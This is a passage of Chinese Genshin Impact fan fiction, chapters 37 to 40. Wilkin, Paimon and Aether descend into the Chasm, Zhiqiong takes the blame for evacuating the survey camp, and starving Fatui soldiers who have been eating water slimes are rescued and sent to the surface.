说完,不等志琼回答,自己决定好一切的维尔金一手抓派蒙,一手提旅行者,直直地朝层岩巨渊黝黑的洞口跳了下去—— 志琼呆呆地看着消失在黑漆漆洞穴的三人,小心翼翼地蹲下身。 “对了,差点忘了那句话……” 维尔金又提着派蒙和空钻出来,认真地对志琼说道: “契约已成,食言者当受食岩之罚。所以冒险者,为了在场所有人类的性命、为了勘探队的未来、也为了你能够绘制完全层岩巨渊地下的全景——” “加油!让我见识一下璃月冒险家兼层岩巨渊勘探队队员的本事吧。” “地上的后勤就请先交给我就好了!” 志琼干劲满满,不就是简单的后勤疏散工作而已,没想到这么简单就让仙人答应了她的请求,三十分钟之内让所有人撤离到层岩巨渊外围而已—— 她一定能够做到!—— 作者有话说:开拓很重要,后勤也很重要(认真) 而后勤又是一种,看上去很简单,实际上做起来就知道有多累的事情。 第37章 第 37 章 拜托了,请把责任全部推…… 派蒙看着刻意返回一趟地面只为激起志琼斗志的维尔金, 半天摸不着头脑。 这真的是维尔金吗? 那个恨不得人类全部离危险远远的家伙,怎么可能会放任志琼这样连自保能力都不太够的人类往层岩巨渊跑。 “维尔金,你为什么要答应她呀?而且不说别的, 半个小时之内把层岩巨渊的所有人都撤到外围, 根本不是一个普普通通的勘探队队员可以做到的事情吧?!” 派蒙可还没有到失忆的地步。 空不清楚维尔金每次让维系者清场后会闹出多么可怕的动静就算了。 真的要地上的安危交给那个看上去有些咋咋呼呼的志琼……派蒙嘶了一声, 头摇得像是拨浪鼓。 “你说得对, 派蒙。我也觉得没有元素力的普通人一定做不到在半个小时之内疏散所有人。”维尔金摸索了一下, 看准时机,将在半空中受惊飞舞的吉光虫一把薅下。 这些小小生命黯淡的光源是幽暗层岩巨渊为数不多的来源,但和它们生活在地上的同胞相比,它们更加虚弱。 “但反之,如果志琼能够做到, 那就说明就算她没有神之眼,自身也有两把刷子——既然如此,我为什么要拦?” “老实说, 我觉得她低估了地下的状况。” 空用力按了按周围的石壁, 抬头看向只有些许微光投射下来的天空。 还有一句话,空没有直言。但是无论是维尔金还是派蒙,都明白他未尽之言中蕴藏的深意。 提瓦特的世界, 普通人和长生种之间不但有一道深深的不可逾越的鸿沟, 那些拥有神之眼的人类和没有神之眼的人们之间同样是上下限被拉得无限之大。 “实力姑且不谈, 困难不是靠一腔热血就能迎刃而解的时间紧任务重, 还不如先让她在上面做些后勤工作——”说到一半, 紧接着,派蒙恍然大悟,飞到维尔金面前,像是终于看清这个家伙的真面目一样: “难怪我就说维尔金今天这么好说话, 原来是一开始就打着敷衍人家小姑娘的打算!” 敷衍吗? 维尔金不觉得刚刚的许诺是敷衍。 他可是非常真情实感地希望,志琼能够好好完成他交给她的任务。 毕竟,好不容易来到不属于提瓦特地表范围内的地方,他还指望着能在这里揪出一直猫在地底的深渊势力。 “时间紧任务重,我可没空继续在层岩巨渊玩捉迷藏,”维尔金瞳仁扩张开来,金色的眼睛愈发透亮,衣摆无风自动,金发也悬浮在空中。 空惊奇地发现,类似于吉光虫的金色光辉突然充斥着偌大空虚的地底,而直到四周点亮,他才发觉,就在他们平稳落地的周围,已经出现了如同小型凝固喷泉一般的紫黑色淤泥。 维尔金张开手,凡是指到的淤泥通通像是见了猫的老鼠一个个全部缩进地下。还有背光的少数几个,但被销毁也只是时间问题。 地底没什么强大的魔物,但是空亲眼看见,经过那滩淤泥的岩史莱姆只是身体表面泡在这些淤泥了不到一秒钟,黄彤彤的椭圆眼就像是得了红眼病,无辜又无害的眼神瞬间变得极其凶悍。 一只可爱的岩史莱姆只是经过了淤泥,就瞬间变成凶巴巴的岩史莱姆。 尽管早已从维尔金和派蒙口中了解过深渊恐怖威力,但直到现在,空才清楚地认识到,深渊究竟有多么恐怖。 不是外化为攻击的伤害,而是彻彻底底的污染。 维尔金也将视线投向那个小小的岩史莱姆。按理说,抛开非人类长生种对天理颇有微词之外,无智慧的元素生物本能地会亲近拥有全提瓦特大陆最纯净元素力量的维尔金。因此,完全由纯粹元素力构成的史莱姆绝对不可能向维尔金发起攻击。 但那只被污染的史莱姆将视线锁定到他们身上后,一蹦一跳地,坚定地奔向维尔金—— 然后在后者张开的怀抱中,狠狠地撞了上去。 小小的岩史莱姆自然硬不过这么大一只天理。只是这么一撞,不仅把自己坚硬的岩元素外壳撞碎,还被强大的冲力反弹回去。 发红的圆眼睛彻底变红,从眼眶里流出如泥石流一样的、“啪嗒啪嗒”的泪水。 “所以说,我讨厌深渊。” 维尔金捏住刚刚不仅痛失岩元素外壳、还把自己撞得把深渊淤泥给哭出来的小史莱姆,怜爱地摸了摸光溜溜的脑袋后,把它端在手掌心中。后者更是在意识到自己居然向眼前这个同类气息极为浓重的大只伙伴发起攻击、还失去了宝贵的岩盔后,眼中的泥石流更加止不住,整只史莱姆都显得萎靡不振起来。 “别哭啦别哭啦。” 派蒙飞到被维尔金端着的史莱姆身边,“下次见到这种淤泥,一定要绕开走哦!” 岩史莱姆不为所动,依旧啪嗒啪嗒掉着泥石流眼泪。 “它是在为自己失去了外壳而哭泣。” 维尔金接住岩史莱姆流出来的眼泪,然后反手一拍,一个崭新的天理手搓版岩元素外壳重新盖在了小史莱姆的脑门上。 效果立竿见影,有了头盔后,岩史莱姆立马收声情绪稳定,从维尔金手里跳了下去,一蹦一跳地向岩窟的石壁中迈进。 “好消息,这一层的元素生物还没有形成刻意躲避深渊淤泥的本能。”维尔金盯着岩史莱姆蹦蹦跳跳的背影,周遭环境的淤泥极少,七星的封印很是及时,上层目前暂且是安全的。 只是更深处的地方,估计已经变成深渊渣滓肆意放开手脚的乐园了吧。” “坏消息是,因为深渊的触手姑且还没有延伸到浅层,所以我还不能用最直接的办法解决问题,必须要找到最下层的源头才行。” 维尔金顿了顿,微微皱眉,像是突然想到了些什么。 “可如果是从最下层涌出来的话……” “有钉子在,不应该啊……” · “半个小时之内把所有人疏散到层岩巨渊外围——你知道自己在说些什么吗?” 沐宁的脸色极其之难看。 他好不容易才送走那个瘟神,结果志琼转头又把责任揽了过来,这位来自总务司的官员恨铁不成钢地指着毫无惹祸上身自觉的志琼,喃喃道:“岩王爷在上,半个小时,你难道以为我们这么一群人说走就是能走吗?” “志琼,这次的确是你太过冲动了。”瑾武叹了口气,看向沐宁,“封印在众目睽睽之下土崩瓦解,总务司那边……” 沐宁摇了摇头:“凝光大人金口玉言,曾经说过,若是刚刚那位想要做的事情,只要不与璃月人的利益相违背,可以最大限度为他们予以方便,所以我先前猜测,他们有可能七星中的某一位请来办事的,但现在看来……” 沐宁深吸口气,环视四周。 从把条子递出去再到如今七星亲手所设的封印碎裂,也才过去短短几分钟吧?! 他甚至怀疑:这样强大的存在,真的有可能如志琼所言,只是仙人吗? “那我们事不宜迟,加紧收拾,有升降机,半个小时带着重要工具撤到层岩巨渊边缘,根本不会是问题,” 志琼完全不理解他们有什么好纠结的,“更何况,有人解开七星的封印,我们不正好能够继续勘探队先前的研究吗?” 沐宁长叹一口气,手抵住太阳穴,半晌,终究是下定决心—— “……七星问责下来,就说我监管不力就好了。” 瑾武哑然,沐宁却只是摆了摆手:“既然七星封印已解,估计用不了多久我就会被调走了,到时候总务司新来的人,应该会是个主张继续向下勘探的家伙,到时候可要小心点了。” 沐宁……被调走? “为什么?”志琼睁大眼睛,虽然沐宁给她安排了一个非常没意思的看守仓库的活计,但是她从来都没有想过,沐宁会在勘探行动结束前被调走。 “既然能够继续顺利地进行研究调查的话,为什么要把沐宁调走?瑾武姐,我能保证只要层岩巨渊一开,不出一周,一定会绘制出一份七星能够满意的地图……还有,刚刚他们已经答应我了,明天,只要明天,我们就能……” “志琼,你是一线的勘探队队员,我能理解你对璃月高层间互相博弈的迟钝程度,但你不该……”沐宁摇了摇头,叹了口气。 “那我来担责就好了!” 志琼大声说道,急切地看了眼手上的怀表,清了清嗓子,势必要让营地周围的所有人都听见—— “磐键是我找人毁坏的、人是我请来勘探层岩巨渊地底下的情况严重程度的!” 瑾武赶紧婉言劝慰道:“志琼,没有人怪你,大家知道你只是想出自己的一份力,太着急了而已。” “谢谢你,瑾武姐,但是我不想让沐宁因为我个人的行为去担责……你说得对,层岩巨渊的事情本来不应该是我一个小小的勘探队队员能够掺和的,我就应该按部就班地看守仓库,在这个项目上继续等下去,直到某天七星终于扯皮扯个清楚,然后又经过无数博弈之后,等到不知道多少年后,才能去绘制层岩巨渊地底的地图!” 志琼鼓起勇气,直视她曾经无数次因为不去看守仓库而心虚的总务司专员。 “两年!层岩巨渊已经封锁了两年了!这两年,我们亲眼看见磐键上附着了越来越多莫名其妙的岩造物,我们从帝君相随等到如今他老人家仙逝——我明白,大家都有沉默着按部就班地理由,在前方一片漆黑的情况下,我们保持不变才是最好的选择。” 志琼深吸口气,现在这件事,只有冒险家志琼可以做、勘探队队员志琼不能做的—— “但是,我不想就这么继续地拿着璃月七星发的空饷、就这么把时间浪费在看守仓库、以及永无止境的高层扯皮之间了——” “为了探寻层岩巨渊底下的秘密,冒险家志琼把唯一能够照明地下的流明石和各种物品道具偷走,勘探队的大家和驻守的千岩军为了追回璃月的宝贵财富、并且避免层岩巨渊底下因为志琼背叛而可能出现的各种危险,不得已将所有人撤到边缘处,以防不测——” 志琼背起背包,将升降机启动的钥匙交给沐宁。 “拜托了,请把责任全部推在我头上吧!就现在,大家马上撤往边缘地带!” 第38章 第 38 章 不许生吃水史莱姆!!…… 地面上的璃月人乱成一锅粥, 地下的状况也好不到哪里去。 一开始只是数不尽的史莱姆和岩龙蜥以及时不时出现的倒胃口深渊法师,但随着越来越前行,维尔金看见了越来越多的人类。 或者说, 盗宝团成员。 “第十三波——” 空擦拭无锋剑上的鲜血, 从一开始的严阵以待再到如今麻木的挥舞无锋剑, 被解决的盗宝团人数要是堆在一起, 估计已经能堆得像小山一样高。 这跟他想象的完全不同。进入层岩巨渊后, 淤泥倒是没见到多少,盗宝团倒是层出不穷。 “说好的生人勿进,结果地底下还有这么多盗宝团……璃月七星真的有好好看守层岩巨渊的封印吗?”空忍不住吐槽。 明明外面一副对层岩巨渊严加封锁的样子,结果搞半天,地下除了没有千岩军, 连盗宝团都开始安寨扎营,再来晚点,这些盗宝团恐怕都能弄来挖掘机开挖了吧? 总不能说, 七星的封印只能够隔绝璃月官方的勘探队, 但是这些浑水摸鱼的家伙一个都拦不住—— 难道这就是传说中的防君子不防小人? 维尔金也对现在这副盗宝团比史莱姆都要多的情况感到头疼——天地良心,他只是想把深渊的淤泥给一口气解决,可从来没有想过在地底也有人类。现在好了, 不清场, 他可没法直接动真格。 “可惜摩拉克斯退休了, 不然我非得要让他好好写一份自查报告。一个层岩巨渊的封印都能守得漏风, 不知道的人还以为这里是盗宝团的老家, 一个个比我们还熟悉这里的地形……” 维尔金胸中堵着一股气,本来以为能够在层岩巨渊地底放开手脚宣泄一番,结果这些盗宝团就像是藏在床缝里的蟑螂一样,好不容易解决掉一群, 不知道从哪里又冒出头来。 “就当为民除害了。”空随口安慰道,“不过这样一来,附近应该暂时没有流窜的盗宝团成员了吧?” 维尔金摇了摇头:“多得很,不过可能意识到我们的到来都开始四散溃逃了,加上我先前为了净化浅层的淤泥,制造出来的元素波动容易让地底下的易燃气体爆炸——聪明人应该会知道遇到危险要及时跑路吧?” 空欲言又止。 派蒙没有说话,但光是眼神中蕴含的不赞同意味就足够让维尔金尴尬地别开视线。 “……那我还是再仔细看看……” 首先是上层,很好,懂事的盗宝团听到伙伴挨揍后已经利索地跑回地上了,孺子可教也。 然后是中间地带……层岩巨渊的地下水居然没有被淤泥污染,妙极了,他的工作量能够减轻不少! 最后的探查范围里有不少人类的气息—— 维尔金凭依在水史莱姆身上,周围黑漆漆的,看不见一点东西,周身还弥漫着一股子奇奇怪怪的邪眼气味。 维尔金嫌弃地挪动了下圆滚滚的史莱姆身体,蓄力—— 然后跃起失败。 好虚弱的水史莱姆 。 逃离腥臭中心地带失败的维尔金无奈地看向头顶黑漆漆的岩洞,耳边时不时传来好几个人模模糊糊的声音,什么“女皇”“至冬”,还有“七星”什么的…… 可恶,明明周围有浓郁的水元素,为什么这只史莱姆还是这么虚弱? 维尔金难得吃了回元素力不够的亏——凭依在水史莱姆的维尔金所能用到的力量不多,只能够勉勉强强通过关键词分析出,声音的主人又是玛尔巴斯的子民。 虽然愚人众士兵的出现给这个到处长满了盗宝团的层岩巨渊增添了一丝人类属地的多样性,但是,至冬人的存在感是不是有点过于强了? 人烟稀少的龙脊雪山和外国人众多的璃月港也就算了,居然连被七星设下封印的层岩巨渊也有愚人众士兵……玛尔巴斯也太勤快点了吧? 不过听起来他们似乎正打算离开,既然如此,应该也没什么大问题。 维尔金正准备从依附着的水史莱姆体内撤出,就感觉到黑漆漆的周围似乎晃动了一下,然后就是一种神奇的失重感觉,好像有人把他隔着什么东西提起来一样。 随着距离接近,那几个人类虚弱的声音终于听得清了些。 “……我们要想活着离开这里,就必须团结一致,不要再让我重复……” “……难道没有感受到刚刚那份力量的波动吗?或许是七星,或许是千岩军……总而言之不管是谁都好,我们至少能够看得见希望……” “我们已经不知道多久没有接到来自地面上的消息了……” “够了!我现在才是代理队长,在我死——不论是战死还是饿死之前……我决不允许第九连队溃散……” “呵呵……那我们就继续熬着吧,我去喝水,那团水史莱姆应该已经汲取了足够的水元素的……” 等等—— 来不及分析话语中巨大的信息量,也没时间细想喝水又是怎么跟“水史莱姆汲取到足够的水元素”联系起来,陡然间,维尔进失重感随着从心底涌上来的不安感随着史莱姆释放出微弱的元素力量而越来越强。一双大手从史莱姆头顶探出,双手托着沉甸甸、水灵灵的水史莱姆。 周围的环境骤然从漆黑变得明亮,维尔金低下头,原来刚刚困住这个水史莱姆的地方,就是一个看起来像是用来储水的木桶。 随着水史莱姆被不断举高,维尔金心中的不安感更加强烈,史莱姆蓝色的圆溜溜眼睛盯着带着面具的愚人众士兵,下一秒,这个愚人众士兵像是鼓足了勇气,两眼一闭,就把水史莱姆往自己嘴里塞—— 维尔金顿感不妙,火速切开同水史莱姆的链接,但还是晚了一步。 一种脑瓜子被生啃一口的感觉顺着残留在水史莱姆躯壳上的元素残留传回维尔金大脑—— “!!!” 维尔金猛回头,眼中被震撼和惊恐覆盖得严严实实。 “呜哇,维尔金你怎么了?冷静一点!深渊还没有打上提瓦特!!别激动啊喂!!” 来不及解释更多,他一把捞起派蒙和空,直直向残余痛感传出来的目的地进发,在后两位的尖叫声中连续撞开石壁,硬生生在地形复杂地势崎岖的层岩巨渊,冲出一道径直前往地下水泽的隧道—— “全部给我住嘴——” “玛尔巴斯就教会你们生啃水史莱姆了吗!!!” “空,快抓紧!!维尔金这家伙已经开始说胡话了!” 派蒙抱紧维尔金胳膊,死死把头埋在已经开始发狂到胡言乱语的天理臂弯,躲避着因为强烈撞击而碎裂的岩石,还不忘尝试安抚不知道为什么被刺激到的维尔金。 “冷静一点,维尔金——” “继续横冲直撞下去的话,上面就要地震啦!!” · “呼,还好我们及时撤出来了。” 瑾武心有余悸地看着因地下震动而垮塌的营帐。 “不,瑾武姐,还没有结束!” 志琼卸下背包,从里面拿出来了一副之前根据地上调查结果和七星提供的历史资料所整理而出的模拟地图,眉头紧皱。在专业领域上,这个平素大大咧咧的少女一下子变得格外严肃,她指着地图上的中间部分,用手比了比距离,从地图的最北侧一只划到中间,标注着地下暗河流域的地方。 “地震的来源位置有些不太合常理……” “志琼,你发现了什么?”瑾武凑上前。 “瑾武姐……”志琼咽下几乎要化作实质的不可思议的惊呼,她指着地图的最北侧,说道:“这里就是从矿区下到地底后会抵达的地方……可从刚刚的震感的来源和方向来看……” 她的手指一路往南边滑,直到正中间才停下:“所以刚刚的地震,极有可能是从地下水泽一带的基岩断裂造成的冲击!” 换而言之,维尔金一行人不过短短一个多小时,就已经到了层岩巨渊深处的地下暗河。 仙人没有骗她,按这个速度,他们甚至很有可能在明天太阳升起之前从层岩巨渊底下出来。 七星所设的阵法已破之事肯定已经传回玉京台、乃至那高不可攀的群玉阁之上了。 要是她能够早点想办法绘制出精准的地图就好了。 志琼紧紧攥着她千辛万苦根据地上情况模拟出来的草稿,没有进行实地勘探过的地图不能用作冒险家们参考的凭依,但不过既然是仙人的话,应该会很了解层岩巨渊的构造、哪怕是遇上突如其来的地震,应该也不会…… 不! 志琼咬牙,心一横—— 她得想办法下去给他们送去物资——没有流明石,甚至没有一个大致的地图,仅凭借纯粹的武力,同样还是非常容易就迷失在地下。 更何况…… 志琼看着因为地下震动而受惊被驱赶出来、背着满满当当金色摩拉、以及只有层岩巨渊深处才出产的流明石…… “瑾武姐……” 犹豫再三,志琼看向这位一向非常照顾自己的前辈,鼓足勇气问道: “其实,层岩巨渊地底,从未如表面上一样被彻底封锁,对吧?” 瑾武顿了顿,随后顺着志琼眼睛不自觉偏向的方向望去,看到了那只背着满满当当流明石和摩拉的盗宝鼬,一时失语。半晌,她才默默点头,半是无奈,半是感慨: “就像沐宁说的,层岩巨渊如今的局面是七星博弈的结果——” “而维持夹缝中对层岩巨渊的开采,的确就来自某位七星的授意。” 她看向摇摇欲坠、仿若天塌下来了少女,想要拥她入怀,但停顿了许久,终究只能将叹息挤成一句话: “恭喜你,冒险家志琼,欢迎来到束手束脚的成年人世界。”—— 作者有话说: 「『流明石』之增生区域仍在扩大,似呈蔓延之势。流明晶石本身无毒无害,但其形成过程中却会吸收附近高价值矿石,加以转变…」 「…按此增生势头,此种矿藏必将剧烈贬值,间以影响其他矿石产量。谨请辉山厅速速派遣专业人员研究其性质功用,以供长远之计」 第39章 第 39 章 连队不应消失在深岩之中…… 层岩巨渊地底 空旷的愚人众营地内, 四人明显感觉到头顶上的岩壁肉眼可见地晃动了几下,随即越来越强烈的震感从头顶传来。 这不是从地下传来的动静,而是从上方来的。 安东抬头, 碎裂的石块和石灰顺着越来越明显的裂缝落在地上, 屋漏偏逢连夜雨, 他们已经好几天没有吃东西了, 这时候面对那些不知道怎么从深处跑上来的黑泥里面冒出来的怪物…… “那些东西上来了?” 刚刚喝完水的岩使达尼拉皱着眉头, 强忍着水史莱姆那怪异的口味,一手拿起自己搁置在地上的岩元素法杖,赶来查看岩层的情况。 缝隙越来越大,安东拦住达尼拉,水铳重卫士拉多米尔站在火铳提莫尔身前, 四人皆无言地盯着头顶上似乎有着什么东西要破岩壁而出的存在。 “喂喂喂……这个动静,不会连刚刚的地震也是它们造成的吧?” “不好说,要是那些恶心的黑泥在这么短的时间就已经深入到上方片区的岩层……” 提莫尔顿了顿, 手中的火铳对准正上方。在场所有人都知道, 如果淤泥已经到了能够他们头顶袭来究竟意味着什么。 空气短暂地凝固了一瞬,透过瞄准镜,提莫尔能够将清楚看见元素的轮廓, 深岩中一种看不清元素构成的存在, 似乎正径直向他们袭来。 “这东西有点邪门……” 安东话音未落, 如同金色炮弹一样的东西直直朝他们的营帐袭去。 不对! 身经百战的愚人众士兵立马反应过来, 提莫尔当即调转火枪口, 对着一旁的石壁放了一发火炮。 “什么人——” 安东双拳凝成风旋,警惕地看着毁坏掉他们营地的不速之客。 但烟雾之中传来的却是陌生人气急败坏的声音—— “你们这些家伙,不要什么东西都乱吃啊!那水史莱姆是能够随便乱吃的东西吗!” 烟雾散去,之间一个金色长发的男人左手一个口吐白沫的小精灵, 右手一个金发少年,怒气冲冲劈头盖脸对着几个严阵以待的愚人众士兵究竟是一顿怒斥。 看着眼前严阵以待抄上武器的愚人众士兵,维尔金深吸口气,正准备心平气和地好好把这些人类劝离地面、走上前,脚下似乎又不小心踢到了什么。 维尔金低头,那只被啃了一半脑袋瓜的水史莱姆可怜巴巴地抬起头,脑门上硕大的还带着牙印的缺口让本就看上去要哭出来的水史莱姆更加凄惨。 维尔金抬起头,映入眼帘的的就是四名五颜六色的愚人众士兵面黄肌瘦的样子,一时间,就连“怎么渴到能生啃水史莱姆”的话也不得不咽了下去。 ——来者并非敌人。 很快安东就得出结论,他迫不及待的问道: “抱歉,请问你们是璃月七星派下来寻找我们的……合作伙伴吗?” 维尔金想了想,还是摇了摇头:“璃月七星先前已经封印了上层,我原以为这里不该有除了偷偷摸摸下地开矿的盗宝团之外的人——” 尤其是,明明这几个人看上去就是愚人众的士兵,一群至冬人在璃月的地盘落得如此境地……也是悲惨。 安东看着本来气势汹汹像是要来找茬的来者在看清楚他们的凄惨状况后脸色似乎刚放缓了些,不禁生出了些希望。 或许……这个人对愚人众没有那么大的偏见? 安东:“我是第九连队的……代理连长安东·梅利尼科夫上士,这几位分别是达尼拉,尼莫尔和拉多米尔……额,还有一位罗曼斯基,但是他在卫生营地。” “你们还有卫生营地?” 好不容易头不晕的派蒙一醒来就看见了那个缺了半边脑瓜子的水史莱姆惊讶地指着他们脚边的木桶,也终于明白了为什么探查过后维尔金就像发了狂一样横冲直撞到愚人众的营地,“那个叫做罗曼斯基的士兵难道没有告诉你们,不到万不得已的地步,普通人千万千万不要随意饮用水史莱姆吗?会生病的!” “没有罗曼斯基了,也没有卫生营地了。”名为达尼拉的岩使游击兵笑了笑,像是嘲讽:“安托哈你倒是健忘,他没能撑过今早……现在别说是水史莱姆了,要不是岩史莱姆一口嚼下去全是石头,我恨不得连岩史莱姆都咬上两口。” “叫我安东上士,达尼拉!” “你这家伙装什么大尾巴狼……” “给我安静!” 安东大声呵斥道,“你们要是还有力气,那就全部给我饿着肚子去层岩巨渊下面、和那些黑泥巴冒出来的东西去打!” 代理连长说话的分量在阶级森严的愚人众先遣队中还是留有不小的分量,哪怕饥饿已经让训练有素的士兵失去了往日的镇定,他们还是很快调整了状态,不至于在外人面前——尤其是极有可能是璃月人面前给女皇陛下丢脸。 “让您看笑话了,这位朋友。” 安东回过身,深吸口气,忽视掉周围此起彼伏的咕咕声,尽量不失体面地“我们现在急需璃月七星的帮助。” “如果你是在等璃月七星的话,不必在等了,他们不会来,至少短时间内不会派人深入层岩巨渊地底。” 但凡他们打算救援这帮愚人众士兵,也不至于知道他要下地,都没人告诉他层岩巨渊底下还有愚人众。 维尔金直接挑明了这群愚人众士兵们面临的处境,这番话直接让安东好不容易打好的腹稿统统作废。 一句话,轻描淡写,就让他们一直以来坚持下来的期待变成彻底的梦幻泡影。 “反感七星,却能够深入层岩巨渊……”火铳手提莫尔率先敏锐察觉到问题所在,几乎是立刻向后跃去,向维尔金举起了手中的火铳: “你是什么人?居然敢在这个时候进入层岩巨渊?” “我是来讨要精神损失、顺便把你们弄回地上的好人。” 维尔金徒手将火铳手的枪口掰弯,枪膛中中蓄势待发的火元素弹药也瞬间炸了膛,维尔金眼疾手快,唤来地下水泽中的河水,不仅给反应过头的火铳手和其余三个倒霉愚人众淋成了一个落汤鸡,还顺手给木桶里的失去半个脑袋的水史莱姆补充了一番生命的源泉。 “你这家伙——” 火铳手气急败坏举起火器,全然没有发现,就这么简短的几分钟内,他的精神都好了不少。 “快住手,提莫尔!这是我们这几天的救命恩人!” 眼尖的岩使达尼拉觉得自己已经看破了真理——刚刚那种莫名其妙的仇视、以及对水史莱姆莫名的关怀,和显而易见的看不上璃月七星的态度。 还有刚刚明明是具有羞辱意味的水幕,却能够短暂地补充他们的体力。 以及这人对层岩巨渊危险性了如指掌的样子…… 璃月是一个“与神同行”的国家,岩神摩拉克斯麾下的仙人虽然大多退隐绝云间,但是仔细想想,层岩巨渊这么大的事,璃月七星总不可能瞒着绝云间众仙吧? 再加上这位仙人对一个小小的史莱姆这么关心—— 达尼拉越想越觉得十拿九稳,从脑子里拿出小时候不知道从哪里道听途说的璃月人打招呼的经典模板,深深鞠了一躬: “您一定就是来救我们的水史莱姆仙人!实在抱歉,要不是已经到这样山穷水尽的地步,我们是不会生啃水史莱姆的!” 维尔金:? 维尔金的沉默被因为才咬过一大口水史莱姆而各位心虚的达尼拉误认为是默认。后者更是抱着地上装有从半死不会状态变成勉强能活的水史莱姆,极其富有真情实感地将他们这些日子生命的源泉放生。 感受到残留神经末梢因为回归到水域而彻底抚平的疼痛,维尔金脸色也好了不少。 这让其余几人也在心中对上了号。 一旁的水铳重卫士拉多米尔看向派蒙和空,言语之中也多了几分天然对传说中很能活的仙人们的敬畏,张口又是一段璃月人听起来就是会非常莫名其妙的发言: “那这两位一定就是仙灵仙人和矿区仙人吧?” “不不不,只有他是水史莱姆仙人,我是派蒙,这位是旅行者空。”派蒙双手叉腰,为败坏维尔金名声继续添砖加瓦、添油加醋:“刚刚他就是因为感觉脑门上被人咬了一大口,才拖着我们横冲直撞来找你们麻烦的!” “派蒙,不许公开败坏我的名声。” 维尔金提起还在因为刚刚差点脑门跟地面来个亲密接触而记仇的幼稚得过头的时间之魔神。他看向安东,由于被生啃水史莱姆啃出幻觉的岩使带偏,安东甚至觉得这位水史莱姆仙人意外的好说话—— 尤其是从派蒙那里得知了达尼拉一口啃了仙人的脑门,心虚地从营地的残骸里又挖出一个装着满满当当水史莱姆的水桶塞给维尔金,希望这位他们目前唯一的希望,能够大人有大量、不计前嫌。 维尔金沉默地将水桶翻个面,里面的水史莱姆一股脑地滑出,蹦蹦跳跳地蹭了蹭救它们与被啃的危难之间的天理大人,头也不回地离开了这个可怕的地方。 不出意外,这里的水史莱姆以后会把“人类喜欢生啃水史莱姆”刻进原浆。 释放了全部“史莱姆质”后,安东觉得说话的底气都足了些: “尊敬的仙人,说来惭愧,我们这些人已经彻底失去了战斗能力。我知道您对我们可能没有什么好印象,但如您所见,我们已经饿得不行了……” 高大的风拳前锋几乎缩成了一团,深深鞠了一躬:“以第九特种连队的名誉,以捍卫至冬国土的祖先之名,我发誓——” “我们会马上撤出层岩巨渊,还有先前达尼拉的冒犯之举,至冬必将奉上让您满意的物资、摩拉、武器、甚至情报……”说道最后,这位可怜的、身上承担着责任与生存压力的临时连长,甚至已经变成纯粹的祈求—— “请帮帮我们吧。” “你们的请求不是问题。”出乎安东的意料,维尔金很好说话。 “我会给予你们食物和活下去的机会,你们也不需要为之付出什么,我只有一个非常简单的问题。” 安东点点头。 但下一秒,他就后悔自己答应得如此之快,只听见这位仙人不紧不慢地问道: “你们刚刚说的‘层岩巨渊下面、和那些黑泥巴冒出来的东西’——” “是不是一种紫黑色、无法被元素力量清除的淤泥?”—— 作者有话说:阻止他们吃水史莱姆+璃月有仙人+仙人看不惯七星可得:水史莱姆仙人显灵(确信) 再过几章层岩巨渊的故事就要结束了,下一站去稻妻 层岩巨渊的故事太沉重,也有太多遗憾了(叹气) 《连队消失在深岩》化用了俄罗斯报告文学《连队消逝在天际》,作者在车臣战争期间担任俄罗斯北高加索联合集群司令,感兴趣的大家可以去看一看 第40章 第 40 章 所以说后勤就是非常重要…… 维尔金说完, 和谐的空气陡然凝固了一瞬。无声的悲伤顺着第九连队士兵们的叹息声,蔓延在地下幽暗潮湿的空气里。 安东低下头,高大的男人眼中闪烁过一丝对事情居然发展到此地步的迷茫和对层岩巨渊底下隐隐的恐惧。 “是的, 您说得没错。” 安东紧握双拳, 挣扎了许久, 终究还是将愚人众内部关于层岩巨渊地底的情况全盘托出。 “不仅如此, 那种紫黑色的淤泥还十分古怪, 不仅会冒出来各种各样的魔物,还始终无法彻底清除掉那些能够滋生魔物的淤泥……我们进来的时候是六十四个人,现在偌大的第九连队……已经只剩下了我们四个士兵。现在层岩巨渊封锁,我们派出去的士兵杳无音信,要不是你们来……恐怕, 我们也不得不抛弃营地,选择撤退了。” 哪怕是另外几个并不怎么腹安东这个代理连长的愚人众士兵也不得不承认,他们不仅低估了层岩巨渊地底之下的危险程度, 也高估了璃月七星的守信程度。 “要不是七星明明说好了会保障地下的物资, 却突然失信断联,我们绝对不至于落到如此境地!”提莫尔狠狠将手上的火铳泄愤似的捅向地面,砸出一个细小的凹陷来。 不难看出, 地下的至冬国人对地上的璃月七星怨言颇深, 当然也不排除故意在他们面前抹黑璃月七星的可能。 毕竟层岩巨渊可是璃月的地盘, 有愚人众执行官末席达达利亚一言不合解封奥赛尔的行动在前, 很难不让人怀疑他们是不是将对自己不利的前提都避而不谈、故意只突出了七星的背信弃义, 以衬托自己的无辜。 维尔金无法在地上七国未曾触及到临界点之前,单方面插手至冬和璃月两国之间的私事,但想来有摩拉克斯和玛尔巴斯在,应该也不至于出太大的乱子。 他将一样东西交到安东手上。 “你们拿着这块磐键的碎片, 上去后找一个叫做志琼的女孩,让勘探队的人把它随便交给哪个七星,他们会想办法把你们全头全尾地送回至冬国的。” “多谢——但,我们现在体力不支,短时间内恐怕无法在没有食物的情况下迅速返回地上,甚至找七星的人对质……” “如果是食物的话,我这里还有——” 空把他们进入蒙德城之前在丘丘人营地里搜刮的瓜果蔬菜和肉类粮食一股脑的拿出来,他指了指提莫尔手上的火铳,“稍微加热一下就能吃了。” 安东的眼睛几乎是“噌”地亮了一下,要不是维尔金他们就在身边,他们甚至恨不得当场抱着地上的生瓜之间吞下去。 维尔金却拦住了安东已经伸到半空中的手,在后者紧张的目光中,开口道: “随便拿个先垫垫,传送途中可能有点晕,克服一下,上去了再吃点好的。” 说完,也没再仔细分析这几个愚人众陡然变化的神情,维尔金催动周身的元素力,直接选定了位于层岩巨渊上方的摩拉克斯的神像,将没有丝毫准备的四人直接传送到地面上。 “咦?” 空没想到,只是简单低头整理了下食材,维尔金直接来一个大变活人直接把刚刚还在讨要食物的愚人众士兵们直接送走了。 “维尔金!” “没有徒步将他们送回地上的时间了。” 维尔金俯下身,指着刚刚火铳手用火器口在地上戳出来的坑,说道:“而且我们脚底下踩着的地方,严格来说已经不能算是提瓦特大陆的一部分了。” 层岩巨渊下层的地质不应该脆弱到,能够被一个普通的至冬国士兵手上的制式火铳,随随便便就捅出个坑。 不用维尔金强调,空和派蒙也意识到了事情的严重性。 “快快快!我们继续前进” 急性子的派蒙匆匆忙忙推着维尔金和空继续迈向层岩巨渊更深处。 维尔金回头,感受到了隐藏于石柱背后,那道死死盯着地上食物的目光,不动声色地在放置食物的地方设置了一个隐蔽的阵法。 随后头也不回地离开了这片区域。 